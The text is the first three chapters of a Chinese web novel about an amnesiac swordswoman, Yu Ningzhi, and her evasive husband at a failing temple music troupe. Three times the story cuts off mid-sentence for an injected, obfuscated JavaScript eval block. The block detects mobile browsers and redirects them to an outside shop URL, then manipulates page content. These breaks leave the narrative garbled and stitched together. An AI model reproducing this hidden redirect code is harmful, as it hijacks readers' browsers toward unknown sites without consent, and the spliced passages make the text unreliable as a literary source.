《心上人死了,我带着他的白月光大杀四方》
1. 第 1 章
秋夜将晓,烛烬烟残。
郁宁止缩在床榻里侧,醒来没有睁眼,先用手向身侧探了探。
果然,被褥冰凉,空无一人。
窗外虚影曳动,她耳力奇佳,先是听到门被吱呀推动,而后那刻意放缓的谨慎步子从门外跨入室内,稍稍停顿,似乎怕惊醒屋内人的酣睡。
少时,那由远及近的脚步声越发清晰,终于停到了床榻边。
又过了半晌,对方才钻入帐中,以一种极为板正规整的姿势躺在了床榻最外侧。
郁宁止听见,他长舒一口气。
不待他完全放松,郁宁止修长的臂膀很自然地搭在对方腰侧,闭着眼梦呓般唤他:“夫君。”
这个每夜待妻子睡去便溜去耳房,黎明前又悄悄回来的人,正是郁宁止的夫君萧辞秋。
如今是深秋时分,庭院夜重,霜露侵衣,他带了一身寒气进来。
隔着薄薄的寝衣,郁宁止身上传来的温度反让他瑟缩了一下,瞬间全身僵硬,不敢有丝毫动作。
郁宁止暗地里勾唇,愈发得寸进尺,作势要往他怀里钻:“冷。”
萧辞秋双手渐渐贴着身体两侧,不敢有丝毫回应。
只是当郁宁止的手触碰到他腰腹时,才忍不住倒吸一口气,慌忙间侧过身,面对着郁宁止。
郁宁止知道他心虚,不愿戳破他,可又不想轻易放过他。她指尖沿着萧辞秋素白寝衣的边沿,挑起空隙,她手掌沿着光洁流畅的背脊向上,直到抚摸到足够温暖干燥,这才顺利与他皮肉相贴。
萧辞秋捉住郁宁止手腕,此时天光已然沿着纱帐垂坠间的缝隙照射进来,他看到对方睁开眼,笑盈盈的望向他。
不知是恼羞成怒,还是担心夜半离去的事情被发现,萧辞秋胸口起伏不定,沉声低斥她:“你做什么!”
只是萧辞秋这话说的没什么威慑力。
郁宁止眨了眨略带水光的倦眼,柔声诉说委屈,反问他:“夫妻之间,不可以这样吗?”
若是寻常夫妻,床榻间玩笑嬉闹都属常事。
可萧辞秋似有难言之隐,不肯让她近身。
自郁宁止失去记忆以来,他们夫妻从未亲近过。
郁宁止只是失忆,又不是傻子,她觉得这其中必有蹊跷。
果然,萧辞秋沉默了一会儿,僵硬着将她揽入怀中:“近来烦心事多,总是睡不好,现下困得很,你不要闹我。”
犹豫一会儿,他像是想起什么,轻轻用手拍打着郁宁止的背,似乎想用这种方式安抚她。
郁宁止听着他蓬勃的心跳,唤他:“夫君,再给我讲讲你是怎么救下我的吧。”
萧辞秋手上动作一顿,有些别扭:“还没听够吗?我讲都讲烦了。”
话是这么说,他还是将已经烂熟于心的故事草草讲了一遍。
“我们行至太河,遭仇人伏击,眼瞧着无路可退,你拼死挡在我身前,叫我先跑。危急时刻,我怒上心头,提剑与那人缠斗,好在我曾学了些保命的手段,当时又一心想着救你,兴许是上天助力,让我侥幸杀了那几个恶人,只是你不慎摔倒,昏了过去,再醒来时便什么都记不得了。”
郁宁止听着,感叹道:“我与夫君从前定然恩爱非常,这段故事,较之戏文话本也毫不逊色。”
这会儿已经没了睡意,她索性支起脑袋,提议道:“夫君,你既不愿来海神社抛头露面,不若把我们的故事写成戏,卖出去,也好补贴些家用。”
那场伏击过后,是路过的海神社乐人救下了夫妻二人。
萧家在太河以南颇有名望,可到了北境,夫妻俩没了家族庇佑,举步维艰,郁宁止觉得,日子还是要过下去的,总不能守着逃亡时带出来的钱袋子,硬等着坐吃山空。
最开始,郁宁止听说社中缺人手,提议让萧辞秋入海神社舞剑。
偏偏萧辞秋从前是家中独子,他面上对乐人们恭敬,私下却不屑于将自己与这些三教九流混为一谈,更遑论登台演出。
可衣食住行需要钱,萧辞秋过去潇洒快活惯了,花钱没个分寸,光是供养着间宅子,就要消耗不少银钱。
看他每日为钱发愁,郁宁止便提议,让萧辞秋教她使剑,她随乐人们登台演出,萧辞秋则帮忙在社中做些杂活。
如此,既不会辱没了溪莼萧氏长公子之名,又能解燃眉之急。
萧辞秋倒是答应的爽快,可他这人做事三分钟热度。虽说答应了要指导郁宁止舞剑,可真上手时,又处处不得要领。
社里验收成果,他总有话能说。
“杀人的剑和娱神的舞剑还是有区别的。”
“此招杀意太甚,缺些美感也属正常。”
“这图谱上所画的是男子,这些招式分明不适合女人来学。”
到最后,郁宁止在社中被乐人们取笑,说萧辞秋所谓的冲冠一怒救发妻是吹牛,萧辞秋听后面色阴沉,不得不硬着头皮说。
“可能是那夜,我救妻心切,当真是有神明暗自相助,所以才使出了真本事。如今你我都已安然无恙,我自然没办法再现往日风采。”
这一番话,又引得人哄堂大笑。
乐人们都是见惯了世情百态的老江湖,嘴比刀快,挖苦人的时候有千种花样。
萧辞秋气愤之下,不再指导郁宁止练剑,索性主动担起了社中催债的活,日日跑出去,免得看见这些人就心烦。
只是他催债也并不顺利。
浮殷的海神社日渐衰败,再不见当年座无虚席的盛况。
郁宁止来这里的日子不多,就没见成功演奏过几次,本来在浮殷就没几个人爱看,若是得了某城神庙的邀请,身体还算康健些的乐人们会去庙会行乐演奏,社里仅收些薄银,用以祭祀和维持社里基本开销。
但这还常常遇见拖欠。
海神社从前不是没有辉煌过。
郁宁止醒来之后记忆全无,偶然听社里的老人讲过,她身处的大陆被太河划分为两半,河阴称之为南荒,河阳的北境的疆域全部属于襄华,而浮殷正是襄华旧都,海神社的前身是王宫乐府,后来恒宁帝改号迁都的时候,连王宫里养鸟训犬的兽坊宫人们都带走了,独独落下了乐府负责祭祀神明的乐人们。
刚开始凭借宫廷曲目和祭神表演,海神社的人过得还算滋润,可新朝建立了三百余年,人们越来越不信神明,更看腻了抱残守缺的海神社。
时运不济的痛一直绵延到了这一代,社里就只剩下乐目残篇和这帮老骨头。雪上加霜的是,过去海神社还有剑舞表演,可自从王恩一去不返,仿佛也将海神社的气运一并带走了似的,几年前,随着最后一名舞者为了养家糊口断然离开海神社后,这个位置便一直空缺下来。
直到郁宁止的出现。
倒不是她真就是那个天选之人,实则是社里的人心肠好,虽然随口调侃过几句萧辞秋,可多数人可怜郁宁止失忆,又见她模样好,这才留了她在这里混日子。
“算了吧,”萧辞秋的声音越来越低,却及时将郁宁止的神思唤回,“每日出门要账都累死了。”
“况且,若是我写的太好,传唱到南荒,再引来仇家,岂不是自找麻烦?”
看样子是真的困了,连郁宁止将手再度搭到他腰侧,他都没什么动作。
萧辞秋怕痒,若
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122760|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是清醒着,早就将她的手拂开了。
郁宁止点点头,似乎深以为然:“还是夫君思虑周全。”
这话萧辞秋已经听不到了,他双眼紧闭,俨然进入了梦乡。
窗外乌云遮蔽了好不容易亮起的天光,不多时,枝摇叶落,又是一场秋风起。
鸠鸣唤云,天欲语,天遇雨。
郁宁止从层层雨雾中穿行而过,刚踏入庑下,便听见海神社的乐人们刻意放低的讨论声。
“申屠公子这月来过多少回了?”
“六次!”有人前倾着身子,夸张地伸出手指比了个数,他的手在众人面前划过半圈,赚够了目光,而后才心满意足重新落座。
“奇了怪了,看他穿得人五人六,可回回都只看不打赏,未免忒抠门了吧。”
“他再想看,恐怕也难了。早上有两人从河里浮上来,据说又是一对兄妹,好端端的两个孩子,凭空消失,又猛然从河里捞出来,啧啧,造孽哦。”
郁宁止听声音,辨出一向消息灵通的刘伯。她不是个热络性子,刚随着行乐队伍来到浮殷,与社内老人们并不相熟,是以她加快脚步,想要装作没看见,若无其事溜边遁走。
一言激起千层浪,没等刘伯细细道来,他余光见一青衣素裳的少女将要轻步掠过此处。
如崖月孤悬,周身还沾着微凉的润泽水气,郁宁止衣角带风,行动轻快,单手拎着个油纸包,微垂着眼睫观路,将要提起衣摆上楼去,似乎并没有注意到他们这边的热闹。
要不是刘伯眼尖,差点放过她。
“郁姑娘。”刘伯招招手,示意她过来坐。
郁宁止不得不停步,似乎才看见他们似的,先是颔首浅笑,而后露出微微惊讶的神情,问道:“这个时辰了,诸位怎会得空在这儿赏景,难不成是又不演了,亏我心里惦记着赵娘子的伤,从城东捎了药回来,紧赶慢赶,怕耽误你们今日登台。”
提起这个,刘伯愁得直叹气。
“天公不作美,今年也不知是触了谁的霉头,本来能演的,要不是这雨……”
其实就算不下雨,浮殷的海神社也是日渐衰败,再不见当年座无虚席的盛况。
老天垂怜,今秋细雨绵绵,迟迟没有给她登台的机会,这才侥幸混到现在。
郁宁止跟着他们叹气,忽闻身旁的乐人问她:“你上次说的,你那个友人的事,她夫君还是夜夜宿在别处吗?”
郁宁止解释:“我……我那个朋友的夫君,也不是宿在别处,就是睡在隔壁。”
她仔细想了想,又道:“兴许是她想多了,府中只他们夫妻两人,他又不曾眠花宿柳,应当只是习惯一个人睡,人都有自己的癖好,这很正常。”
啪——
有人拍桌而起。
“不正常,绝对不正常!”
“若是他人还在这里,心却不在这里,即便今日与你那朋友强作夫妻,来日也必定成怨侣。”
齐娘子义愤填膺:“我看他心真是野了,说不定是给外头的野女人守贞呢,这种男人,不要也罢!日日在身边看着他做出这副贞洁烈夫的模样,没得叫人恶心,和离,赶快和离。”
刘伯却抚着长须,眯起眼,示意众人都安生坐下:“依我之见,保不准,他是有什么难言之隐呐。”
众人目光重新聚集在他这里,齐娘子的眼刀已然杀了过来:“男人就是会替男人开脱,有什么可替他解释的,有本事娶妻,那就别让人家姑娘守活寡啊。”
“你没听明白,我说的就是这个理。”刘伯意味深长,“万一他就是没这个本事呢?男人的难言之隐,有时候,跟旁人无关。”
2. 第 2 章
这会儿大家都反应过来了,有人目瞪口呆,有人恍然大悟。
“你是说……”
“心病可解,但这要是身疾,”刘伯摇摇头,“还是早早治疗,切勿讳疾忌医啊。”
众人的目光又移向郁宁止,似有怜悯。
左右不是真指名道姓,有借口遮掩,郁宁止无意替萧辞秋继续辩解,扯开话题:“辞秋呢?我记得他一早就出门了,现在还没回来吗?”
“早上忘了跟你说,”刘伯一拍脑门,面上露出点歉意,“你兄长让我转告你,他今日要托人给家里送信,晚些时候才能回来,叫你不必等他。”
郁宁止与萧辞秋皆是风华正茂的年纪,在黯旧的海神社内显得格格不入。他们虽说是夫妻,可萧辞秋觉得自己早晚会以萧家的名义东山再起,自然不能让人知晓在海神社的种种,更不能让人知道,他曾落魄到需要妻子在海神社登台赚钱。
为了掩人耳目,二人对外以兄妹相称。
只是明眼人都看得出,这二者从相貌到性格,鲜有齐同处。
郁宁止敏锐察觉出刘伯又要对他们两人的身世刨根问底,她掂了掂手里的东西,笑眯眯道:“既然如此,赵娘子还在等我,先失陪了。”
这回不光是刘伯,连与郁宁止素日不多来往的齐娘子都上前拦了拦,两人一左一右拖住她臂膀,硬是半拖半拽把人困到了腰棚间。
“你这孩子,我们能害你不成,有些话外人忌讳着不敢说,我们几个倚老卖老,可要给你还有辞秋嘱咐几句。”
刘伯咳嗽了声,使了个眼色给齐娘子。
齐娘子神神秘秘压着嗓子道:“你可知为什么今日不演了?淇河那边出大事了,有魔物潜入了浮殷,且专挑好人家的儿女下手,已杀害了三对兄妹。”
她是社里吟词唱诗的,这会儿虚声恫吓,素日里空灵的声音在郁宁止耳边缥缈低哑,生怕吓不到郁宁止。
“不是咱危言耸听,但这几桩案子着实蹊跷,不是魔族,就是恶鬼。社里再缺钱,也不急于一时,你和辞秋也说说,最近小心行事,别动不动就往外头跑。”
这话说的,好像下一个要被河流水浪卷走的就是郁宁止和萧辞秋似的。
话锋一转,齐娘子继续说。
“城东那里有个大夫擅长医治那方面的事,等风头过了,你让你朋友和他夫君去瞧瞧。听我的,别仗着自己年轻,这种事宜早不宜迟,治不好的话,很影响夫妻和睦的。”
郁宁止欲言又止,郁宁百有口不能言。
刘伯也劝:“实在不行,我豁出老脸,替你们去请大夫,正好最近接连下雨,是老天垂怜,你别乱出去转悠了,社里因故不演,咱们也乐得清闲。”
孰料话音刚落,就有人反对。
“谁告诉你不演了,不仅要演,还要明日就演。”
掷地有声,铿锵有力,引得众人纷纷瞩目。
赵娘子声色俱厉:“明日就是每月的祭神日,上月已然耽搁了,这个月更不能有误,我知道你们想说什么,但这是祖上传下来的规矩,想寻清闲处,何不自请出门?”
这话说得重了些,眼见着众人脸色异变,赵娘子面上隐隐翻着怒火,郁宁止适时上前,把手中伤药恭敬递了过去。
“赵娘子,药已依嘱备妥,明日开演,我等省得,今夜必会同诸位检视周全,绝不敢有误,娘子尽可以放心。”
赵娘子僵在原地,脊背与脖颈挺直成一条线,她心直口快,郁宁止知道她这会儿已经后悔了,只是碍于面子下不来台,于是又道:“若明日登台,便需要提前告知诸神,赵娘子要到神楼里瞧一眼吗?”
赵娘子前头走了,郁宁止又回头安抚惴惴不安的乐人们。
“师傅们慈心护佑,我们兄妹二人定会铭记于心,只是赵娘子最近为社里的生计发愁,这些诸位也都清楚,方才话赶话说到那儿了,绝不是真心的。咱们社能撑到现在,全靠前辈们撑着。明天演出,还得师傅们多指点着。”
她惦记着赵娘子,抱拳告别:“失陪,容我先行一步,与赵娘子说清原委,再与诸位细说。”
沿着细碎的落雨声,郁宁止登楼,远远便瞧见赵娘子独自在神龛前跪拜祈愿。
香烟袅袅,外有潺潺细雨,愈发显得此室寂静。
她静静等着赵娘子叩拜完,待她起身立定后,方才上前。
赵娘子这会儿怒火散了大半,不过话里仍有种拒人于千里之外的意味。
“你跟上来做什么。”
“自然是心里记挂着娘子的伤,药铺掌柜说此药以热敷最佳。”
伸手不打笑脸人,郁宁止见赵娘子神色稍缓,便继续说:“娘子是整个海神社的主心骨,明日登台,还需娘子为我等定调定心,如此才能音律和谐。”
“如今多事之秋,刘伯他们为着小辈考虑,难免失言,娘子切勿记在心上。”
郁宁止抬眼,见赵娘子细条条一个人立在原地,自上而下望着她,风将她整个人的身形勾勒出来,又将幽怨的叹息送进郁宁止的耳中。
“我知晓近来的事,可明日的祭神必须要进行。淇水频发异象,有传言说是魔族作祟,亦有人怀疑是水中河伯发怒,才殃及了那么无辜性命,所以有人愿出资百两,让海神社奏乐娱神,以此平息河伯之怨。”
“祭祀河神,便要演剑舞。”
提起剑舞,郁宁止唇角笑意一僵,赵娘子看出她的勉强,不过如今也没得选了。
“舞得不好也没关系,剑舞已多年不在海神社的台上重现,外行也看不出来好赖。只是你穿着和其他人同样的衣裳,束手束脚,反倒影响你舞剑。”
“我先前在鬼市偶遇了个卖茶的商贩,说来也巧,今年生意难做,他债台高筑,无奈之下想到用家中传下来的几件衣物首饰周转,我想起你还没有适合登台的行头,又看那东西确实稀奇,便用体己钱买下了,明日登台演出正合适。”她示意郁宁止跟上。
两人边说边走,一路穿行了大半个海神社,才走到赵娘子所居的院落。
郁宁止原想在外头候着,却听见屋内赵娘子轻飘飘的声音,由远及近:“在外头愣着做什么,进来吧。”
天色近晚,屋里只亮起了桌面上的一盏灯,门户敞开,昏黄的烛火迎风而动,因而赵娘子人虽是一动不动,可身后影子却在不断摇曳,几度要离墙而出,似要活过来一般。
她抚摸着摆在桌上的绛红衣袍,因为常年抚琴,右手指甲总是留够恰好拨弄琴弦的长度,如玉片般的纤长薄甲不经意划过明珰宝饰,发出如流水弦音般的泠泠声。
“你们在这儿做什么?”
端逸少年,轩眉俊眼,到底是年轻血气足,光是站在人身后,就把外头大半的寒凉隔绝阻拦。
“我来。”
少年眸若灿星,自然而然从腰侧取下裹着粗布的残剑,将它物归原主。
而后,他双手接过赵娘子所承托盘。
赵娘子见状,问道:“萧郎君今日怎么回来的这么晚?最近城中不太平,还是小心为上,你明日就不必出去了。”
“有点私事处理,耽搁了一会儿。”
萧辞秋余光扫见郁宁止,虽仍是面向前方,但身体微微向她那边倾斜。
“帮我把钱袋子取下来,交给赵娘子。”
修身墨紫长袍将他的肌肉勾勒出清晰线条,他稍稍侧腰,没装满的钱袋子就发出叮当碎响。
说完,他还不忘抬起腿,那只钱袋子被大腿根凑起,郁宁止单手解开活结,递还给赵娘子。
赵娘子没有直接点清钱款,而是又嘱咐道:“明日你随我们一起出去,给其他人打打下手。”
社里都是些老弱病残,一个年轻男人能当两个使唤,萧辞秋倒是不在意自己做些什么,只要不显露于人前,什么都可以商量。
社里总归是辉煌过的,空房多的是,他们二人不与乐人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122761|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们居住在一起,想要回家,还要穿过大半个海神社。
这个时间,很多老乐人都休息了。没有看客,廊上的灯火都熄灭了大半,只在圆拱门边上有一盏昏黄的灯。
郁宁止抱着衣服在前走,萧辞秋拿着剑亦步亦趋跟着,路上有乐人路过,都和他们一一打过招呼。
不知怎的,萧辞秋总觉得今日的乐人们,有些不对劲。
他并不常待在社里,每日晨起后来这里点卯,日落时来这里接郁宁止回家,与乐人们并不相熟。
往常,他们是不大会将眼神分给萧辞秋的,今日每个人都在目送他,这些紧紧跟随的眼神让他如芒在背。
想了想,他打量着郁宁止的背影,知道症结大概在哪里了,快步走了过去,抢过郁宁止手中的东西,一股脑抱在怀里。
“我来。”
郁宁止有些意外,不过并未细究,左右有人愿意帮忙,她也能省些力气。
二人离开海神社,回到了在城南租住的小院里。
月已悄悄浮现在天边。
郁宁止换了身衣裳,再出来时,发现萧辞秋已经坐在桌案边,捧起剑谱,看得如痴如醉。
连郁宁止喊他名字,都没听见。
见此情状,郁宁止存心逗弄他,猫着腰站在他背后,等他沉浸其中,连呼吸都不自觉放慢时,突然向他耳边吹了口凉气。
萧辞秋吓得浑身一激灵,他猛地合上书,站起身来,回过头瞪了郁宁止一眼:“鬼鬼祟祟,站我身后做什么?”
郁宁止咳嗽了一声,向前一步,手还没碰到人,他却向后撤。
不过方寸之地,一进一退,萧辞秋的腿就碰到了桌案边沿。
郁宁止偏过头,咳嗽了一声,似乎有些不好意思。
她两手刚刚抓住萧辞秋的寝衣,却被他反握住皓白细腕。
“你想做什么?”他满眼警惕之余,还有些慌乱。
没想到郁宁止噗嗤一笑,替他拢好衣襟,道:“夜里凉,夫君莫要贪凉着了风寒才是。”
萧辞秋耳尖的红还没褪下,有些羞恼。
“不用你管。”
还没等他松口气,郁宁止又缓缓开口。
“夫君,据说城西有个大夫,专治男子阳事不举,若是你明日无事,不如请他上门诊治。”
郁宁止面色如常,那双如静潭深水的双眸从始至终波澜不惊,连神情都未曾变化。
有她如玉般温良素净的肌肤作衬,萧辞秋从听到她这番话后,热血在全身乱窜一通,最后都涌向那张俊俏脸庞。
“我知道夫君定然是不好意思开口,可总是拖着,也不是个事啊。”
郁宁止仰着头,一只手去抚摸他的侧脸。
平心而论,郁宁止的手与她这张芙蓉面并不相称,她的手指节分明,较寻常女子更为修长,虎口与掌指关节处有层薄薄的茧,若是点在人身上,很难让人忽视其存在。
譬如现在,那只手已经扣住萧辞秋的腰。
郁宁止整个人抱着他,头埋在他胸前,萧辞秋甚至能看见她乌黑浓密的发顶,听见胸前与他呼吸共鸣的闷响。
“夫君近来瘦了,该多加餐饭。”
萧辞秋被妻子环抱着,感受着她以手丈量着自己腰腹尺寸,明明随时能够挣脱,可他只感觉浑身无力,呼吸困难。
他把这一切归罪于郁宁止的禁锢,咬牙切齿:“松手。”
郁宁止抬头,明明神情未变,可萧辞秋头晕目眩,总觉得那双望向他的眸子里带有戏谑。
“哎呀。”郁宁止惊讶,“好像不治而愈了。”
“既然如此,那夫君为何总是躲着我。”郁宁止凑近细看他面色变换深浅。
一股燥热暖意在心口直撞,萧辞秋下腹发紧,好不容易才控制住自己的理智。
“你知道的,我心怀大志,若我想得道,首先要做的,就是摒弃儿女私情,不能总想着那档子事。”
3. 第 3 章
他将郁宁止推开,从书里拿出一张被压得异常平整的银票,不管郁宁止接不接受,直接拍在她掌心。
“羽山派的弟子选拔就要开始了,我明日不跟你一起回来了。”
他故作沉静的说着离别,然而目光紧紧跟随着郁宁止,岿然不动。
“你……”他话音顿了顿,似乎忘记了该说些什么好,其实他不是沉默寡言的人,抛开夫妻身份,郁宁止觉得他只是相当平庸又正派的普通少年。
既然是普通人,有躲不开的执念,想追求长生,这都无可厚非。
更何况萧辞秋背负着血海深仇,立誓要成为剑修,堂堂正正替自己的亲人报仇。
海神社不会是两人的终点。
郁宁止还没说话,就看见萧辞秋又拿出一张银票。
“你好好照顾自己,等我成仙后,必会回来接你。”
郁宁止皱起眉头,一时没反应过来,她思索后道:“那你准备多久成仙呢?而且戏文说仙凡有别,保不准等你飞升的时候,我都轮回几世了。”
她这些日子在海神社看了不少戏折子,有的是社中珍藏,有的却是时下新兴,不过这些戏讲来将去不外乎八个字。
才子佳人,爱恨痴缠。
哪知萧辞秋听了这话,沉默下去,竟是连半句话都说不出。
灯芯燃烧了许久,歪扭着倒向蜡油,很快冒出阵阵黑烟。
比起虚无缥缈的长生,郁宁止还是更关心即将熄灭的蜡烛。
好贵呢,要三十文一根。
顾不得与萧辞秋纠缠,郁宁止忙寻了剪子去铰灯花,刚把烛火救起,回头之际,又被萧辞秋只手攥住臂膀
郁宁止不解,侧身歪头看他的手,慢慢移向那张带着丝丝疲惫的年轻面庞。
意识到自己此举突兀,萧辞秋的手立刻回落,五指不自在地张开又蜷缩。
“不如,你随我一同去羽山派,就呆在外门做洒扫弟子,待我飞升成功,还将你带在身旁便是了。”
郁宁止觉得他有点好笑,可那盏灯火似乎故意偏爱他清亮眼眸,所以毫不吝啬的将仅剩的光辉全部集中在此。
萧辞秋这话,显然是认真的,而且是经过一番深思熟虑后才说出来的。
空气有些冷,可少年人心火旺盛,气血也足,整个人的脸都在发烫,他一错不错注视着对面,似乎非要等一个答案。
郁宁止故意问他:“你怎么就知道,我偏偏是外门弟子呢?”
这些话可就不像话本里恭顺谦卑的妻子了。
她赶紧寻了话找补:“我的意思是,若是羽山派不肯收留我,那我岂不是赔了夫君又折兵。”
萧辞秋毫不犹豫:“我有制胜秘诀,你信我,到时候我来和羽山派的长老们谈判。你一个弱女子,失去了从前记忆,要是没有我在身旁时时关照着,怕被人哄骗了去。”
“只一个条件,我如今没有件趁手的兵器,你需得把那柄剑借给我几天。”
他又觉得这话不太妥当,差点绊了舌头。
幸得沉沉天色眷顾,遮盖了他眼底慌乱躲闪,叫让他能为自己再度辩解:“我是说,我们一起上山,互相之间也能有个照应。你放心,我借了你的东西,用几天就还。”
萧辞秋心一横,上前拥住了郁宁止,将她整个人抱在怀里;“夫妻同心,其利断金。你若信我,何愁没有见证我东山再起的那日?”
倒不是不肯借剑。
相反,萧辞秋面嫩又要强,又为了能让他顺利讨到债,郁宁止时常把剑借予他伴身壮底气。
只是她觉得萧辞秋确实是难得一见的乐观豁达,且不说他剑术水平如何,单说东山再起这个词。
若郁宁止没记错,她这个夫君压根就没支棱过。
不对,刚刚好像支棱了一下。
说起支棱……
郁宁止哄着他:“行啊,你要用那把剑,我何曾拒绝过你。只是这会儿快要月上中天,夫君,我们是不是该……”
萧辞秋内心难掩激动,说:“你为我所累,若是留你一个人在外,我于心不安。你肯答应,这就再好不过。”
“我们这就安寝吧!”
说罢,他熄了蜡烛,直愣愣躺在了床上,用被子将自己裹成一团,很快便入了梦。
又是那场,他已然做过无数次的梦。
萧家逢难,父母惨死,拼命掩护萧辞秋出逃。
他一路上并非没有遇见过追杀,他与郁宁止的结识正缘起于一次惊心动魄的伏击。
彼时他刚刚渡河至北境,本以为逃出生天,刚想要松口气找个地方落脚,可那群人竟然从南荒一路追到了北境,他未来得及隐入附近城中,就被围困在荒郊林中。
人烟罕至的地界,他求救无门,将要命丧他乡,心里想到枉死的爹娘,徒然生出一股凄怆悲凉。
既然逃不过,那他干脆全力反击,黄泉路上能带走一个是一个。
心里虽然是这么想的,可这群人能将萧家灭门,还有本事千里追踪,有虎狼之恶,偏又有鹰般的敏锐。
他举剑,没能斩断靠近他的杀手脖颈,反倒被对方轻而易举挑飞了手中宝剑。
这对自幼习剑的萧辞秋来说,简直是奇耻大辱,对方甚至不屑于停下来嘲笑他,将他踩在脚下,反复搜查了他身上,又让随行灵犬仔细嗅闻,发现并没有找到预想中得东西后,毫不拖泥带水,单手扼住他咽喉,将身形不算瘦削的少年整个提了起来。
萧辞秋感觉自己即将灵魂出壳,整张脸涨得通红,眼珠子都要爆出来了。
淌着口涎水的恶犬口齿森然可怖,明明有灵智,懂得如何收敛利爪尖牙,可还是故意划伤他的腿脚,肆无忌惮地舔食着新鲜血液。
那人紧盯着他,眼神阴鸷冷漠。
“喜神的方子呢?把方子说出来,饶你不死。”
萧辞秋从来没听父母说过什么喜神,他对家中事务并不上心,从小就不爱学习经营商铺,而是酷爱习武练剑。
萧家是北境最大的香料供货商,所研香方不计其数,但萧辞秋连最基础的辨别都做不到,更别提在这里复刻什么喜神了。
况且,以这些人的阴狠毒辣,即便萧辞秋真能说出来,也不可能放他一条生路。
如今只能赌一把了,赌他们为了得到这个东西不敢杀了他。
见萧辞秋嘴唇微动,杀手还特意放松了禁锢,让他稍稍得空喘息说话。
萧辞秋故意道:“休想,我就算死也……也不告诉你们。”
但他还是太过稚嫩,南荒的仙门世家凋敝,他对修士最大的幻想来源于自己的师父,而很可悲的是他的师父也是个三流货色,断臂残眼,灵核枯竭,被逐出师门后只能靠萧家供养。
都道凡间名著孤本一纸千金,豪族深闭固拒,对家学典籍外流之事深恶痛绝,而仙门世家亦然。
凡民萧辞秋压根不知道这世界上还有一种术法叫做“搜神术”,无需他开口,就能凭借神修境界的绝对压制将他的记忆搜寻出来。
如若他是修者,尚且能靠自毁了结,可他现下连死都不能如愿。
被迫与杀手对视的时候,他感觉自己的灵魂都要被无形绳索攥去。
他在绝望中呜咽出声。
搜神术对人的损害极大,意识弥散之际,恍惚有一道剑光迎头落下。
萧辞秋在无尽的愤恨与不甘中,接受了自己必死的结局。
少年薄而苍白的眼睑低徊,眸光明灭闪动。
恍惚,真的是恍惚间溜走了许多时间。
萧辞秋抬头,眨了眨困眼,朦胧间看见雨中少女身着绛红祭神衣袍,在台上笨拙舞动着身躯。
海神社这场行乐剑舞,并无多少人在意。
看客寥寥无几,剑舞是压轴出场,除却不需要上台的萧辞秋,便只剩下十几名散客躲在棚下观赏。
有几个还心不在焉的,眼神总是飘向其他看客,好像这里头才是他们要找的人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122762|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
萧辞秋有些烦躁,本以为只用在台后忙活,谁知临时被推出来要赏钱,赵娘子不肯退让,他只能装作若无其事,端着木盘不断在人群穿梭。
又闻倒吸声,萧辞秋余光瞥见郁宁止的步子几乎要缠住,好在有惊无险,她最后还是勉强顺完了这组动作。
毋庸置疑,郁宁止的美客观直白,如同常人见了冬雪不会想起暑热,她利落挺拔,性无染浊,质若璞玉,全无谄媚讨好意味。
然而正是这种特质,让她作剑舞时,简直像是身上多了块骨头,怎么都无法协调四肢,只能勉强调动肌肉记忆,以至于舞得不伦不类,堪称滑稽。
木剑划过落雨,将水雾般的雨帘隔开,凝聚成颗的大滴水珠像是断了线的珠串,抛洒向台下。
昨晚又是一夜惊梦,还是林中月下,梦里的萧辞秋还是一如既往的肝胆俱裂,已为俎上鱼肉。
他抬眼迎上那道木剑挥出的莹白水光,就像是看见了那夜的剑光清辉。
一声破空而至的剑鸣在林中绽开,扫起千层叶浪。
在惨白月光下,萧辞秋和杀手一起倒地,他还能勉强支撑起身体,坐在那里边咳嗽边大口喘气,可旁边的杀手没那么好运气,再无生息。
人都死了,狗却侥幸逃了,它不仅擅长追踪,也擅长逃跑,一溜烟没了踪迹。
而萧辞秋惊魂未定,他不知来人是敌是友,不敢轻举妄动。
这种恐惧让他好半天才反应过来,救下他的人似乎与他一般年纪,拿的还是他先前脱手的剑。
剑如何被她捡起,如何使出杀招的,萧辞秋无从知晓。
但他清清楚楚看到了,眼前少女从始至终都没有睁开眼。
仰望了她好一会儿,萧辞秋才开口:“你……”
就像是打破了某种禁制,他刚打破寂静,眼前人就直挺挺向前倒去。
萧辞秋下意识张开双臂,将人稳妥接住。
肢体柔软,那就不是行尸,脚下有影,证明她并非恶鬼。
这具躯壳还带着夜风的冷意,可她的呼吸又是温热的。
这无疑是个活人。
这里偏僻荒凉,若是将人丢在这里不管,不知会不会遇见贼匪,即便没人发现,附近还有山狼,对于一个昏迷的人来说,哪一样都有可能致命。
犹豫再三,萧辞秋还是决定将救命恩人带去附近的城池安顿下来。
